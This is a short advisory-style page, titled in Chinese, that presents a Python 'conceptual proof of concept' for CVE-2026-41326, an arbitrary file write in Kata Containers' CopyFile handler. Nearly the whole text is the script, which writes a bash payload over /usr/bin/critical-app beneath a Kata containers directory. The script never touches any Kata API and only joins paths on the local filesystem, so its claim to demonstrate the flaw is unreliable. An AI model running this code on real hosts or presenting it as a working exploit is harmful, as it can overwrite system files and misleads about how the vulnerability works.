CVE-2026-41326 Kata Containers 任意文件写入漏洞

# Conceptual Proof of Concept for CVE-2026-41326 # This script demonstrates the arbitrary file write vulnerability in Kata Containers. # An attacker can use the CopyFile handler to write to any path inside the guest. import os def exploit_cve_2026_41326(guest_image_path, malicious_content, destination_path): """ Simulates exploiting the CopyFile oversight to write arbitrary files. Args: guest_image_path: Path to the target guest workload image. malicious_content: Content to write into the guest. destination_path: Arbitrary path inside the guest (e.g., /bin/sh). """ print(f"[*] Targeting Guest Image: {guest_image_path}") print(f"[*] Attempting to write to: {destination_path}") # In a real scenario, this would invoke the vulnerable 'kata-runtime' or relevant agent API # The vulnerability stems from the lack of path validation in the CopyFile policy. # Simulated vulnerability trigger try: # Vulnerable operation: Copying file without validating 'destination_path' with open(guest_image_path + destination_path, 'wb') as f: f.write(malicious_content.encode()) print(f"[+] Success: Written to {destination_path}") print(f"[+] Payload: {malicious_content}") except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": # Example usage: Overwriting a critical binary inside the guest target_guest = "/var/lib/kata-containers/containers/test_vm/" payload = "#!/bin/bash\necho 'System Compromised'" arbitrary_dest = "/usr/bin/critical-app" # Arbitrary location exploit_cve_2026_41326(target_guest, payload, arbitrary_dest)